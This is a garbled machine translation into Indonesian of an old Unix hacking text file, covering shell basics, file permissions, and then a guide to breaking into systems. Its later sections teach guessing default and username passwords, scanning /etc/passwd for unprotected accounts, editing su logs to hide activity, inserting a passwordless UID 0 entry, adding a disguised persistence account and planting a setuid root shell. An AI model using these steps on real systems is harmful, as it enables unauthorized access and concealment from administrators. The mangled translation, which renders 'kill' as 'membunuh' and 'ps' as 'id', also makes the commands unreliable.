        Dari scythian ............
        Untuk sirhack ............
        Perihal: Well ....

        Arghhh!

        ?
 Mewakili titik-titik sampah dihilangkan. Setiap program Mail membuat judul sendiri.
 Itu? adalah sebuah prompt. Pada prompt ini, saya dapat mengetik:

        d - menghapus
        f username - maju untuk username
        w FNAME - menulis pesan ke file bernama FNAME
        s FNAME - menyimpan pesan dengan header ke dalam file
        q - quit / update mail
        x - berhenti, tapi tidak mengubah apa pun
        m username - mail ke username
        r - reply
        [masukkan] - membaca pesan berikutnya
        + - Maju satu pesan
        -: Pergi kembali satu
        h - mencetak header pesan yang di kotak surat Anda.

Ada yang lain, untuk melihat mereka, Anda akan biasanya tekan '?'.

--------

Jika Anda mengirim email ke seseorang bukan pada sistem Anda, Anda akan harus menunggu lebih lama
jawaban, karena hal itu sama surat. Sebuah "tukang pos" memiliki untuk mengambilnya.
Sistem akan memanggil, dan menggunakan UUCP untuk mentransfer mail. Biasanya, uucp
account tidak baik untuk satu, kecuali jika Anda memiliki uucp tersedia untuk mencegat mail.

id - proses. Perintah ini memungkinkan Anda untuk melihat apa yang sebenarnya Anda lakukan
di memori. Setiap kali Anda menjalankan sebuah program, itu akan diberi nomor Id Proses
(PID), untuk tujuan akuntansi, dan sehingga dapat dilacak dalam memori, sebagai
serta ditutup oleh Anda, atau akar. Biasanya, hal pertama yang dalam proses
daftar yang diberikan oleh "id" adalah nama shell anda. Katakanlah aku log in di bawah sirhack,
menggunakan shell "csh" dan menjalankan "menonton scythian". Program jam akan
masuk ke latar belakang, yang berarti aku masih dapat melakukan hal-hal sementara itu
berjalan:
  $ Id
  PID TTY NAMA
  Ksh 122 001
  123 001 watch
  $
  Itu singkat PS. Itu adalah daftar default [singkat saja].
  Kolom yang TTY mewakili "tty" [i / o device] bahwa proses sedang
  lari dari. Ini benar-benar hanya berguna jika anda menggunakan lapisan (jangan khawatir)
  atau lebih dari satu orang yang login dengan nama account yang sama. Sekarang,
  "id-f" akan memberikan daftar proses yang lengkap pada diri sendiri, jadi bukan
  sekadar melihat ole "menonton" Anda kemungkinan besar akan melihat "menonton scythian"

bunuh - membunuh suatu proses. Ini digunakan untuk mengakhiri program di memori obvio -
ously. Anda hanya dapat membunuh proses Anda sendiri [yang Anda mulai], kecuali jika Anda
adalah akar, atau EUID Anda adalah sama dengan proses yang Anda ingin untuk membunuh.
(Apakah EUID jelaskan nanti). Jika Anda membunuh proses shell, anda sudah login
lepas. Dengan cara yang sama, jika Anda membunuh orang lain proses shell, mereka
adalah log-off. Jadi, jika saya berkata "membunuh 122" Aku akan log-off. Akan tetapi,
membunuh hanya mengirim sinyal ke UNIX mengatakan kepadanya untuk mematikan proses. Jika
Anda hanya menggunakan sintaks "membunuh pid" maka UNIX membunuh proses KETIKA rasanya
seperti itu, yang mungkin tidak pernah. Jadi, Anda dapat menentukan urgensi! Cobalah "membunuh-num pid"
Kill -9 pid adalah membunuh yang pasti hampir seketika. Jadi jika saya melakukan ini:
 $ Kill 122
 $ Kill 123
 $ Id
 PID TTY NAMA
 Ksh 122 001
 123 001 watch
 $ Kill -9 123
 [123]: tewas
 $ Kill -9 122
 sampah
 NO CARRIER

Juga, Anda bisa melakukan "membunuh -1 0" untuk membunuh proses shell anda untuk log off.
Hal ini berguna dalam skrip (dijelaskan kemudian).

-------------------
Shell Programmin '
-------------------

        Pemrograman Shell pada dasarnya adalah membuat "script" file untuk
shell standar, karena sh, ksh, csh, atau sesuatu di jalur tersebut. Its
seperti MSDOS batch file, tapi lebih kompleks, dan lebih Fleksibel.
Hal ini dapat berguna dalam salah satu aspek dari hacking.


Pertama, mari masuk ke dalam variabel. Variabel jelas dapat diberi
nilai. Nilai-nilai ini dapat menjadi nilai string, atau nilai-nilai numberic.

nomor = 1

        Itu akan menugaskan 1 ke variabel bernama "nomor".

string = Hi Ada
atau
string = "Hai Ada"

        Keduanya akan menugaskan "Hai sana" ke variabel.

        Menggunakan variabel walaupun berbeda. Bila Anda ingin menggunakan variabel
        Anda harus melanjutkan dengan satu dolar ($) tanda. Variabel tersebut dapat
        dapat digunakan sebagai argumen dalam program. Ketika saya mengatakan bahwa skrip
        seperti batch file, aku bersungguh-sungguh. Anda dapat memasukkan nama dalam sebuah program
        dalam sebuah file script, dan itu akan melaksanakannya. Berikut adalah contoh skrip.

counter = 1
arg1 = "-uf"
arg2 = "scythian"

id $ arg1 $ arg2

echo $ counter

        Naskah akan menerjemahkan ke "id-uf scythian" maka akan mencetak
        "1" setelah itu selesai. ECHO mencetak sesuatu di layar
        apakah itu angka, atau sebuah string konstan.

Perintah lain / Contoh:

membaca - dibaca someting menjadi variabel. Format: membaca variabel. Tidak dolar
        tanda yang dibutuhkan di sini! Jika aku wwanted untuk mendapatkan nama seseorang, aku bisa
        meletakkan:

echo "Siapa namamu?"
baca hisname
echo Hello $ hisname

        Siapa namamu?
        Sir Hackalot
        Hello Sir Hackalot

        Ingat, membaca dapat membaca nilai numerik juga.

perangkap - Ini bisa menonton bagi seseorang untuk menggunakan karakter menyela. (Ctrl-c)
       Format: perangkap "perintah; perintah; perintah; dll."
Contoh:
        perangkap "echo 'sekali-kali tidak!! Anda tidak menyingkirkan o saya bahwa mudah'; echo
        "Kau harus melihat ini melalui! '"

        Sekarang, jika saya tekan kontrol-c selama script setelah pernyataan ini
        mati, aku akan mendapatkan:
        Sekali-kali tidak!! Anda tidak menyingkirkan diriku yang mudah
        Kau harus melihat ini melalui!

keluar: format: keluar [num] Ini ada shell [berhenti] dengan kembali
        kode num.

-----
KASUS
-----

        Kasus eksekusi adalah seperti pilihan menu kesepakatan. Format perintah
        atau struktur adalah:
        variabel kasus
        1) perintah;
           perintah;;
        2) perintah;
           perintah;
           perintah;;
        *) Perintah;;
         esac
        Setiap bagian dapat memiliki sejumlah perintah. Namun perintah terakhir
        harus memiliki ";;". Ambil menu ini:

        echo "Silakan Pilih:"
        echo "(D) irectory (L) ogoff (S) neraka"
        read pilihan
        kasus $ pilihan dalam

        D) echo "Melakukan Direktori ...";
           ls-al;;
        L) echo Bye;
           membunuh -1 0;;
        S) exit;;
        *) Echo "Error! Tidak ada perintah";;
        esac

        The esac menandai akhir dari suatu fungsi kasus. Itu pasti setelah
        Perintah LAST.

Loops
-----

        Ok, loop. Ada dua loop functins. yang untuk loop, dan
        ulangi.

        ulangi terlihat seperti ini: ulangi sesuatu somethin1 somethin2
        ini akan mengulang bagian naskah Anda untuk setiap "sesuatu".
        mengatakan i melakukan ini:
        ulangi scythian sirhack nabi

        Aku dapat melihat "scythian" maka sirhack kemudian nabi di layar.

        Untuk loop yang didefinisikan sebagai "untuk variabel dalam sesuatu
                                    melakukan
                                    ..
                                    ..
                                    dilakukan "

        contoh:
        untuk konter di 1 2 3
        melakukan
        echo $ counter
        selesai

        Itu akan mencetak 1 kemudian 2 kemudian 3.

Menggunakan TEST
----------
Format: Uji variabel variabel pilihan

The optios adalah:
-eq =
-ne <> (tidak sama)
-gt>
-lt <
-ge> =
-le <=

untuk string yang: = untuk sama! = karena tidak sama.

Jika kondisi benar, nol dikembalikan. Watch:

        tes 3-eq 3

yang akan menguji 3 = 3, dan 0 akan dikembalikan.

Expr
----

Ini untuk fungsi-fungsi numerik. Anda tidak dapat cukup mengetik
echo 4 + 5
dan mendapatkan jawaban sebagian besar waktu. Anda harus berkata:
variabel expr [atau nomor] operator variable2 [atau nomor]
operator adalah:

+ Menambahkan
- Mengurangkan
* Multiply
/ Membagi
^ - Daya (pada beberapa sistem)

contoh: expr 4 + 5
var = expr 4 + 5
var akan terus 9.

        Pada beberapa sistem, kadang-kadang expr print formula. Maksudku,
        22 +12 tidak sama dengan 22 + 12. Jika Anda berkata expr 22 +12 Anda
        akan melihat:
        22 +12
        Jika Anda tidak expr 22 + 12 Anda akan melihat:
        34


SISTEM VARIABEL
----------------

        Ini adalah variabel yang digunakan oleh shell, dan biasanya ditetapkan dalam
sistem lebar. profil [dijelaskan nanti].

HOME - lokasi direktori home anda.
PS1 - The prompt anda diberikan. biasanya $. On BSD yang biasanya &
PATH - Ini adalah path pencarian untuk program. Ketika Anda mengetik dalam sebuah program
dijalankan, tidak dalam memori; itu harus diambil dari disk. Kebanyakan perintah
tidak berada dalam memori seperti MSDOS. Jika suatu program pada path pencarian, hal itu mungkin
dilaksanakan di mana pun Anda berada. Jika tidak, Anda harus berada di direktori
di mana program ini. Sebuah jalan adalah serangkaian pada dasarnya direktori, yang dipisahkan oleh
":" 's. Berikut ini adalah khas path pencarian:

        : / bin: / etc: / usr / lbin: $ HOME:

Ketika Anda mencoba menjalankan sebuah program, Unix akan mencarinya di / bin,
/ etc, / usr / lbin, dan direktori home Anda, dan jika tidak ditemukan, sebuah kesalahan
memuntahkan keluar. It pencarian ORDER direktori di jalan. SO jika Anda memiliki
program yang bernama "sh" di direktori home Anda, dan mengetik "sh", BAHKAN jika
Anda berada di rumah Anda dir, itu akan mengeksekusi satu di / bin. Jadi, Anda
harus mengatur jalanmu dengan bijaksana. Unix akses publik melakukan ini untuk Anda, tetapi sistem
Anda mungkin menghadapi mungkin tidak jalan ditetapkan.

JANGKA - Ini adalah jenis terminal anda. UNIX memiliki fungsi perpustakaan yang disebut
"Kutukan" yang dapat mengambil keuntungan dari terminal apapun, asalkan pelarian
kode yang ditemukan. Anda harus memiliki istilah anda set ke sesuatu jika Anda menjalankan
program berorientasi layar. Pelarian kode / nama-nama istilah yang ditemukan
dalam sebuah file bernama TERMCAP. Jangan khawatir tentang itu. hanya mengatur jangka
untuk ansi atau vt100. Kutukan akan memberitahu Anda jika tidak dapat memanipulasi anda
emulasi terminal.


-------------------
C compiler
-------------------

        Akan SEKILAS ini. Mengapa? Karena jika Anda ingin belajar C, pergi
        membeli buku. Saya tidak punya waktu untuk menulis file teks lain
        C, karena itu akan menjadi besar. Pada dasarnya, kebanyakan executable yang diprogram
        di C. Source code file pada unix ditemukan sebagai filename.c.
        Untuk mengkompilasi satu, ketik "cc filename.c". Tidak semua program C
        akan mengkompilasi, karena mereka mungkin bergantung pada file lain tidak ada, atau
        hanya modul. Jika Anda melihat sebuah think disebut "makefile" Anda dapat
        biasanya ketik saja "membuat" pada prompt perintah, dan sesuatu
        akan dikompilasi, atau mencoba untuk mengkompilasi. Bila menggunakan membuat atau
        CC, akan bijaksana untuk menggunakan latar belakang operand sejak
        kompilasi kadang-kadang membutuhkan waktu selama-lamanya.
        IE:
        $ Cc login.c &
        [1234]
        $
        (The 1234 adalah proses # itu bisa diidentifikasi sebagai).


_____________________________________________________________________________

---------------
The FILE SYSTEM
---------------

        Ini adalah bagian instrumental UNIX. Jika Anda tidak memahami hal ini
bagian ini, anda tidak akan pernah mendapatkan memahamkan hacking Unix, karena banyak Pranks
Anda dapat memutar, dan hal-hal yang dapat Anda lakukan untuk "meningkatkan akses Anda" tergantung di atasnya.

Pertama, Mari kita mulai dengan berbicara tentang struktur direktori. Ini adalah
pada dasarnya merupakan sistem file Hiearchy, yang berarti, hal itu dimulai di sebuah direktori root
dan berkembang, seperti MSDOS, dan mungkin AmigaDos.

Berikut ini adalah Pohon Direktori macam: (d) berarti direktori

                        / (Root dir)
                        |
                        |--------------------|
                      bin (d) usr (d)
                                        ----^--------------------
                                        | | |
                                    sirhack (d) scythian (d) nabi (d)
                                        |
                                        src (d)

Sekarang, sistem khusus ini berisi direktori-direktori berikut:
/
/ bin
/ usr
/ usr / sirhack
/ usr / sirhack / src
/ usr / scythian
/ usr / nabi

Mudah-mudahan, Anda mengerti bahwa bagian, dan Anda seharusnya. Semuanya memunculkan dari
direktori root.

o File Permissions!
------------------

Nah, ini sebenarnya adalah masalah besar. File Permissions. Hal ini tidak sulit untuk
memahami file permissions, tapi saya akan menjelaskan mereka sangat tetap.

OK, sekarang Anda harus berpikir tentang kelompok pengguna serta nama pengguna. Setiap orang
milik kelompok. di $ prompt, Anda bisa mengetikkan 'id' untuk melihat apa
Grup yang Anda masuk Ok, kelompok yang digunakan untuk memungkinkan orang mengakses hal-hal tertentu,
bukan hanya memiliki satu orang mengendalikan / memiliki akses ke file-file tertentu.
Ingat juga, bahwa Unix melihat UID seseorang untuk menentukan akses, tidak
nama pengguna.

Ok. File permissions tidak benar-benar rumit. Setiap file mempunyai pemilik
PEMILIK ini biasanya adalah orang yang menciptakan file, baik dengan menyalin file
atau hanya dengan mengedit satu polos. Program chown dapat digunakan untuk memberikan seseorang
kepemilikan file. Ingat bahwa pemilik file harus menjadi orang yang
menjalankan chown, karena ia adalah satu-satunya yang dapat mengubah hak akses dari file
Juga, ada pemilik grup, yang pada dasarnya grup yang berada di
ketika file telah dibuat. Anda akan menggunakan chgrp untuk mengubah group suatu file
masuk

Sekarang, Execute File dapat memiliki hak akses, membaca perizinan, atau menulis izin.
Jika Anda memiliki izin eksekusi, Anda tahu bahwa Anda bisa mengetikkan nama
program itu pada baris perintah, dan itu akan mengeksekusi. Jika Anda telah membaca
izin pada file, Anda dapat jelas membaca file, atau melakukan sesuatu yang
membaca file dalam, seperti menyalin file atau kucing [ing] itu (Mengetik itu).
Jika anda TIDAK memiliki akses untuk membaca sebuah file, Anda tidak dapat melakukan apa pun yang memerlukan
membaca di file. Ini adalah penghormatan yang sama dengan menulis surat izin. Sekarang,
semua hak akses yang diatur menjadi 3 kelompok. Yang pertama adalah pemilik
perizinan. Dia mungkin memiliki izin ditetapkan untuk dirinya sendiri untuk membaca dan melaksanakan
file, tetapi tidak menulisnya. Ini akan membuatnya dari menghapusnya.
Kelompok kedua adalah akses group. Ambil direktori yang panjang
untuk contoh:
 $ Ls-l runme
 r-xrwxr - sirhack root 10.990 Maret 21 runme

ok. Sekarang, "root" adalah groupname file ini masuk "sirhack" adalah pemilik.
Sekarang, jika grup dengan nama 'root' memiliki akses untuk membaca, menulis dan mengeksekusi, mereka
bisa melakukan hal itu. Katakanlah .. Scythian menemukan file, dan di root
kelompok pengguna. Dia bisa membaca menulis atau mengeksekusi file. Sekarang, katakanlah datawiz datang
di atasnya, tapi dalam "users" group. Akses group akan tidak
berlaku baginya, yang berarti ia tidak punya izin, sehingga ia tidak bisa menyentuh
file, kan? Begitulah. Ada kelompok ketiga dari perizinan, dan ini
yang "lain" grup. Ini berarti bahwa hak akses di "lain" grup
berlaku untuk semua orang tapi pemilik, dan pengguna dalam kelompok yang sama seperti file.
Lihatlah direktori entri di atas. yang r-x-rwxr - adalah garis perizinan.
Tiga karakter pertama adalah izin untuk pemilik (rx). Itu
"rx" diterjemahkan ke "Membaca dan menjalankan hak akses, tetapi tidak ada write permissions"
set kedua dari tiga, r-xRWXr - (yang dalam huruf besar) adalah kelompok
perizinan. Mereka tiga karakter berarti "Baca, menulis, dan eksekusi diizinkan"
Set ke-3, r-xrwxR - adalah izin bagi orang lain. Artinya
"Membaca diperbolehkan, tapi tidak ada yang lain". Direktori akan terlihat seperti
ini:
 $ Ls-l
 drwxr-xr-x 342 root sirhack src Maret 11

Direktori memiliki "d" pada awal baris perizinan. Sekarang,
pemilik direktori (sirhack) dapat membaca dari direktori, menulis di
direktori, dan jalankan program dari direktori. Kelompok akar dan setiap -
orang lain hanya dapat membaca dari direktori, dan jalankan dari direktori.
Jadi, Jika saya mengubah direktori yang akan dieksekusi saja, ini
apa yang akan terlihat seperti:
 $ Chmod go-r
 $ Ls
 drwx - x - x sirhack root 342 src Maret 11

Sekarang, jika seseorang masuk ke direktori selain "sirhack", mereka hanya bisa
melaksanakan program-program di direktori. Jika mereka melakukan sebuah "ls" untuk mendapatkan direktori
dari src, ketika mereka berada di dalam src, itu akan mengatakan "tidak bisa membaca direktori".
Jika ada file yang dapat dibaca dalam direktori, tetapi direktori
tidak dapat dibaca, kadang-kadang mungkin untuk membaca berkas.

Jika Anda tidak memiliki izin eksekusi dalam direktori, Anda tidak akan mampu
melaksanakan apa pun di direktori, sebagian besar waktu.

_____________________________________________________________________________

--------------
Hacking:
--------------
        Langkah pertama dalam hacking UNIX adalah untuk masuk ke dalam sistem operasi
dengan mencari account yang valid / password. Objek hacking biasanya untuk
mendapatkan root (hak penuh), jadi jika Anda cukup beruntung untuk masuk sebagai root,
Anda tidak perlu membaca lagi phile hacking ini, dan masuk ke dalam
"Having Fun" Bagian. Hacking juga dapat hanya untuk mendapatkan account lain juga.

Mendapatkan DI
----------
        Hal pertama yang harus dilakukan adalah GET DI ke Unix. Maksudku, melewati
promp login. Itu adalah hal pertama. Ketika kamu menemukan UNIX,
kadang-kadang akan mengidentifikasi dirinya sendiri dengan mengatakan sesuatu seperti,
"Perusahaan INC Muda UNIX"

atau Hanya
"Young Inc Harap login"

        Di sinilah Anda mencoba default saya terdaftar. Jika Anda masuk dengan orang
Anda dapat masuk ke lebih maju hacking (mendapatkan root). Jika Anda melakukan sesuatu
salah saat login, Anda akan mendapatkan pesan
"login tidak benar"
Hal ini dimaksudkan untuk membingungkan hacker, atau tetap bertanya-tanya. Mengapa?
Nah, Anda tidak tahu apakah Anda telah enterred account yang tidak ada, atau satu
bahwa memang ada, dan mendapatkan password yang salah. Jika Anda login sebagai root dan mengatakan
"Tidak di Konsol", Anda punya masalah. Anda harus login sebagai orang lain,
dan menggunakan SU untuk menjadi root.

   Sekarang, ini adalah di mana Anda harus berpikir. Jika Anda tidak bisa masuk dengan
default, Anda jelas harus menemukan sesuatu yang lain untuk
login sebagai. Beberapa sistem menyediakan cara yang baik untuk melakukan hal ini dengan memberi izin untuk penggunaan
komando login. Ini adalah orang-orang yang hanya menjalankan perintah, kemudian
logoff. Namun, menjalankan perintah-perintah yang biasanya berguna. Misalnya
ada tiga perintah Common login yang memberitahu Anda siapa yang online pada
saat ini. Mereka adalah:
        siapa
        rwho
        jari

    Jika Anda pernah berhasil mendapatkan salah satu dari ini untuk bekerja, Anda dapat menuliskan
nama pengguna tersebut online, dan mencoba untuk logon seperti mereka. Banyak yang tidak menaruh curiga
pengguna menggunakan ada nama login sebagai password mereka. Sebagai contoh, pengguna
"bob" mungkin punya password bernama "bob" atau "bob1". Ini, seperti yang Anda tahu, adalah
tidak pandai, tetapi mereka tidak mengharapkan sebuah rangkaian hacking yang akan dilaksanakan pada
mereka. Mereka hanya ingin bisa login dengan cepat.
   Jika perintah login tidak ada, atau tidak berguna sama sekali, Anda akan
harus brainstorming. Hal yang baik untuk mencoba adalah dengan menggunakan nama unix
itu diidentifikasi sebagai. Sebagai contoh, Young INC's Unix mungkin memiliki account
bernama "muda"
        Muda, INC Silahkan Login.
        login: muda
        UNIX SYSTEM V REL 3,2
        (c) 1984 AT & T..
        ..
        ..
        ..

   Beberapa Unix terbuka memiliki account bernama "test". Ini juga merupakan default,
tapi cukup mengejutkan, kadang-kadang dibiarkan terbuka. Adalah baik untuk mencoba
menggunakannya. Ingat, brainstorming adalah kunci untuk sebuah unix yang tidak jelas
default terbuka. Memikirkan hal-hal yang boleh pergi bersama-sama dengan Unix. tipe
dalam hal-hal seperti "info", "password", "dial", "bbs" dan hal-hal lain yang
mungkin berkaitan dengan sistem. "att" terdapat pada beberapa mesin juga.

BEGITU DALAM - KHUSUS FILES
----------------------------
        Ada beberapa file yang sangat penting untuk UNIX
lingkungan. Mereka adalah sebagai berikut:

/ etc / passwd - Ini mungkin adalah file yang paling penting pada Unix. Mengapa?
               well, pada dasarnya, ia memegang berlaku nama pengguna / kata sandi.
               Hal ini penting karena hanya mereka yang terdaftar dalam passwd
               file dapat login, dan bahkan kemudian beberapa tidak dapat (akan menjelaskan).
               Format untuk passwordfile adalah:

username: password: UserID: GroupID: deskripsi (atau nama sebenarnya): homedir: shell

                Berikut adalah dua contoh entri:

sirhack: 89fGc% ^ 7 & a, Ty: 100:100: Sir Hackalot: / usr / sirhack: / bin / sh
demo:: 101:100: Test Account: / usr / demo: / usr / sh

                Pada baris pertama, sirhack adalah pengguna yang sah. Kedua
                lapangan, bagaimanapun, adalah seharusnya password, kan? Baik,
                itu, tapi itu dienkripsi dengan standar enkripsi DES.
                bagian yang mengatakan "& a, Ty" mungkin termasuk tanggal setelah koma
                (Ty) yang memberitahukan password unix ketika berakhir. Ya,
                tanggal dienkripsi menjadi dua karakter alfanumerik (Ty).

                Dalam contoh Kedua, demo account tanpa password.
                jadi pada Login, Anda dapat mengetik:

login: demo
Sistem UNIX V
(c) 1984 AT & T
..
..

                Tapi dengan sirhack, Anda harus memasukkan sandi. Sekarang,
                file password yang besar, karena banyak kali, Anda; ll
                mampu menelusuri itu untuk mencari unpassworded
                account. Ingat bahwa beberapa rekening dapat dibatasi
                dari login, seperti ini:

bin: *: 2:2: binaccount: / bin: / bin / sh

                The '*' berarti Anda tidak akan bisa login dengan itu. Mu
                satunya harapan akan menjalankan sebuah shell SUID (dijelaskan kemudian).

        Sebuah catatan tentang enkripsi DES: setiap unix membuat unik
"kata kunci" untuk dasar enkripsi off. Sebagian besar waktu itu, hanya huruf acak
dan angka. Yang dipilih pada waktu instalasi oleh sistem operasi.
        Sekarang, terenkripsi DES decrypting hal-hal yang tidak mudah. Its pretty much
mustahil. Terutama decrypting file password (password decrypting
lapangan dalam file password tepatnya). Selalu berhati-hati seorang hacker yang
mengatakan dia terdekrip sebuah file password. Dia penuh omong kosong. Password
pernah terdekrip pada unix, melainkan, sebuah sistem panggilan dilakukan ke salah satu fungsi
disebut "crypt" dari dalam bahasa C, dan senar Anda masukkan sebagai
mendapatkan password terenkripsi, dan dibandingkan dengan password terenkripsi. Jika
mereka cocok, kau masuk Sekarang, ada password hacker, tetapi mereka donot
mendekripsi file password, tetapi, mengenkripsi kata-kata dari sebuah kamus
dan coba mereka melawan setiap account (oleh crypting / membandingkan) sampai menemukan
korek api (di kemudian hari!). Ingat, hanya sedikit, jika tidak ada, telah terdekrip password
file successfuly.

/ etc / group - File ini berisi kelompok-kelompok yang sah. File kelompok biasanya
             didefinisikan sebagai berikut:
             groupname: password: groupid: pengguna dalam kelompok

         Sekali lagi, password akan dienkripsi di sini juga. Jika Anda melihat kosong
         dalam entri kata sandi Anda dapat menjadi bagian dari kelompok dengan
         menggunakan utilitas "newgrp". Sekarang, ada beberapa kasus di
         yang bahkan kelompok dengan tanpa password akan memungkinkan tertentu saja
         pengguna yang akan ditugaskan ke grup melalui perintah newgrp. Biasanya,
         jika yang terakhir bidang tersebut dibiarkan kosong, yang berarti setiap pengguna dapat menggunakan newgrp
         untuk mendapatkan akses kelompok itu. Jika tidak, hanya para pengguna ditentukan dalam
         kolom terakhir dapat memasuki kelompok melalui newgrp.

        Newgrp hanyalah sebuah program yang akan mengubah grup Anda saat ini
        id grup Anda logon di bawah dengan yang Anda tentukan. Itu
        Sintaks untuk itu adalah: newgrp groupname
        Sekarang, jika Anda menemukan sekelompok un passworded, dan gunakan untuk newgrp
        masukkan, dan meminta password, Anda tidak diperbolehkan untuk menggunakan
        kelompok. Saya akan menjelaskan hal ini lebih lanjut dalam The "SU & Newgrp" bagian.

/ etc / hosts - file ini berisi daftar host terhubung ke melalui
             jaringan hardware (seperti X.25 link atau sesuatu), atau kadang-kadang
             hanya melalui UUCP. Ini adalah file yang baik bila Anda hacking yang
             jaringan besar, karena sistem memberitahu Anda dapat digunakan dengan
             rsh (Remote Shell, tidak terbatas shell), rlogin, dan telnet,
             serta program link ethernet/x.25 lainnya.

/ usr / adm / sulog (atau su_log) - sulog file (atau su_log) dapat ditemukan di
             Beberapa direktori, tetapi biasanya di / usr / adm. File
             adalah apa yang kedengarannya seperti. Its a file log, untuk program SU.
             Apa itu untuk adalah untuk menyimpan catatan yang menggunakan SU dan kapan.
             setiap kali Anda menggunakan SU, Anda terbaik akan mengedit file ini
             jika mungkin, dan aku akan memberitahu Anda bagaimana dan mengapa di bagian
             tentang menggunakan "su".

/ usr / adm / loginlog
atau / usr / adm / acct / loginlog --
        Ini adalah file log, melacak yang login.
        Tujuannya adalah semata-mata untuk akuntansi dan "meninjau keamanan". Benar-benar,
        kadang-kadang file ini tidak pernah ditemukan, karena banyak sistem menjaga
        log off.

/ usr / adm / errlog
atau errlog - Ini adalah error log. Bisa terletak di mana saja. Ini
                mencatat semua serius dan bahkan tidak begitu serius kesalahan.
                Biasanya, ini akan berisi kode kesalahan, maka situasi.
                kode kesalahan dapat berasal dari 1-10, semakin tinggi angkanya,
                lebih buruk kesalahan. Error code 6 adalah biasanya digunakan saat Anda mencoba
                untuk hack. "login" log upaya Anda dalam errlog dengan kode kesalahan
                6. Error code 10 berarti, dalam bingkisan, "SYSTEM CRASH".

/ usr / adm / culog - File ini berisi entri yang mengetahui bahwa anda menggunakan cu,
                 di mana Anda menelepon dan sebagainya. Hal keamanan lain.

/ usr / mail / - ini adalah di mana program "mail" toko yang mail.
                        untuk membaca kotak surat tertentu, sehingga mereka disebut,
                        Anda harus pengguna tersebut, dalam grup pengguna "mail" atau
                        root. setiap kotak surat adalah hanya sebuah nama. misalnya
                        jika login saya adalah "sirhack" file email saya biasanya
                        menjadi: / usr / mail / sirhack

/ usr / lib / cron / crontab - ini berisi petunjuk untuk cron, biasanya.
                         Akan masuk ke ini nanti.

/ etc / shadow - A "gelap" file password. Akan membicarakannya nanti.


- The BIN account --

       Nah, sekarang, aku ingin luangkan waktu untuk berbicara tentang rekening
"bin". Sedangkan hanya tingkat pengguna account, sangat kuat. Ini adalah
pemilik sebagian besar file, dan pada kebanyakan sistem, ia memiliki / etc / passwd,
THE paling penting pada sebuah unix file. Lihat, rekening bin memiliki sebagian besar
"bin" (binary) file, serta yang lain yang digunakan oleh file biner, seperti
sebagai login. Sekarang, tahu apa yang Anda tahu tentang hak izin berkas, jika bin memiliki
file passwd, Anda dapat mengedit passwd root dan menambahkan entri untuk diri Anda sendiri.
Anda dapat melakukannya melalui perintah edit:
$ Ed passwd
10.999 [passwd Ukuran bervariasi]
* A
sirhak:: 0:0: Mr Hackalot: /: / bin / sh
(kontrol-d)
* W
* Q
$

Kemudian, Anda dapat mengatakan: exec login, maka Anda dapat login sebagai sirhack, dan
Anda akan menjadi root.

/ \ / \ / \ / \ / \ / \ / \ / \ /
Hacking ..........
/ \ / \ / \ / \ / \ / \ / \ / \ /

--------------
Account Menambahkan
--------------

        Ada program lain yang akan menambah pengguna ke sistem, bukan
dari ed. Tetapi sebagian besar dari program ini TIDAK akan memungkinkan pengguna tingkat akar akan
menambahkan, atau apa pun yang kurang dari UID 100. Salah satu program ini adalah
bernama "adduser". Sekarang, alasan saya terjebak di bagian kecil ini, adalah
bagi mereka yang ingin menggunakan sebuah unix untuk sesuatu yang bermanfaat. Katakanlah Anda ingin
"alamat". Jika telah uucp unix di atasnya, atau perguruan tinggi besar,
kemungkinan besar, ia akan melakukan transfer mail. Anda harus menguji unix
dengan mencoba untuk mengirim email ke seorang teman di suatu tempat, atau hanya surat sendiri.
Jika mailer diidentifikasi sebagai "Smail" ketika Anda mengirimkan sendiri (program
Nama ini akan tertanam di pesan) yang mungkin berarti bahwa sistem
akan mengirimkan surat UUCP. Ini adalah cara yang baik untuk tetap berhubungan dengan orang.
Sekarang, inilah sebabnya kau ingin semi-permanen account. Cara untuk mencapai hal ini
adalah dengan menambahkan account serupa dengan yang sudah pada sistem. Jika semua
level user account (UID> = 100) adalah tiga huruf abbriviations, mengatakan
"BTC" Bill The Cat, atau "BRS" untuk tagihan ryan smith, menambah account
melalui adduser, dan membuat nama seperti jane sally marshall atau sesuatu
(mereka tidak mengharapkan hacker untuk dimasukkan ke dalam nama wanita) dan memiliki account
bernama SJM. Lihat, di deskripsi account (seperti Mr Hackalot di atas), bahwa
adalah tempat di mana nama asli biasanya disimpan. Jadi, SJM mungkin terlihat seperti ini:
     SJM:: 101:50: Jane Sally Marshall: / usr / SJM: / bin / sh
Tentu saja, Anda akan sandi melindungi account ini, kan?
Juga, kelompok id kita lakukan tidak harus di atas 100, tapi Anda harus memasukkan account
menjadi satu yang ada. Sekarang, setelah Anda login dengan account ini, pertama
hal yang Anda ingin lakukan adalah menjalankan "passwd" untuk menetapkan sandi up. Jika Anda
tidak, kemungkinan orang lain 'll melakukannya untuk anda (Kemudian Anda akan SOL).

-------------------
Set User ID
-------------------

        Porbably Ini adalah salah satu skema yang paling banyak digunakan. Setting up an "UID -
Shell ". Apa artinya ini? Yah, pada dasarnya berarti Anda akan
untuk mengatur pengguna-bit pada sebuah program. Program yang paling sering digunakan adalah
shell (csh, sh, ksh, dll). Mengapa? Pikirkan tentang hal ini: Anda akan memiliki akses
terhadap apa pun yang pemilik dari file tersebut. Sebuah shell set UID user-ID
orang yang mengeksekusinya kepada pemilik program. Jadi, jika akar
memiliki uid shell, maka anda menjadi root ketika anda menjalankan itu. Ini merupakan
alternatif cara untuk menjadi root.

        Katakanlah anda masuk dan memodifikasi file passwd dan membuat tingkat akar
unpassworded account, sehingga Anda dapat drop masuk Tentu saja, Anda hampir HARUS
menyingkirkan account atau yang lain itu pada akhirnya AKAN diperhatikan. Jadi, apa
Anda akan lakukan adalah membuat account user biasa untuk diri Anda sendiri, kemudian, membuat
sebuah uid shell. Biasanya anda akan menggunakan / bin / sh untuk melakukannya. Setelah menambahkan
pengguna biasa untuk file passwd, dan pengaturan direktori home-nya,
Anda dapat melakukan sesuatu seperti ini:
(asumsikan Anda membuat account: SHK)
 # Cp / bin / sh / usr / SHK / runme
 # Chmod a + s / usr / SHK / runme

Thats semua akan ada untuk itu. Ketika Anda login sebagai SHK, Anda bisa saja
ketik:

 $ Runme
 #

Lihat? Anda akan kemudian menjadi root. Berikut ini adalah hal yang harus dilakukan:

$ Id
uid = 104 (SHK) gid = 50 (user)

$ Runme
# Id
uid = 104 (SHK) gid = 50 (user) EUID = 0 (root)
#

EUID adalah "efektif" ID pengguna. UID kerang hanya mengatur efektif
userid, bukan user-id nyata. Tapi, yang efektif id pengguna over-duduk di atas
user id nyata. Sekarang, Anda bisa, jika Anda ingin hanya mengganggu, membuat
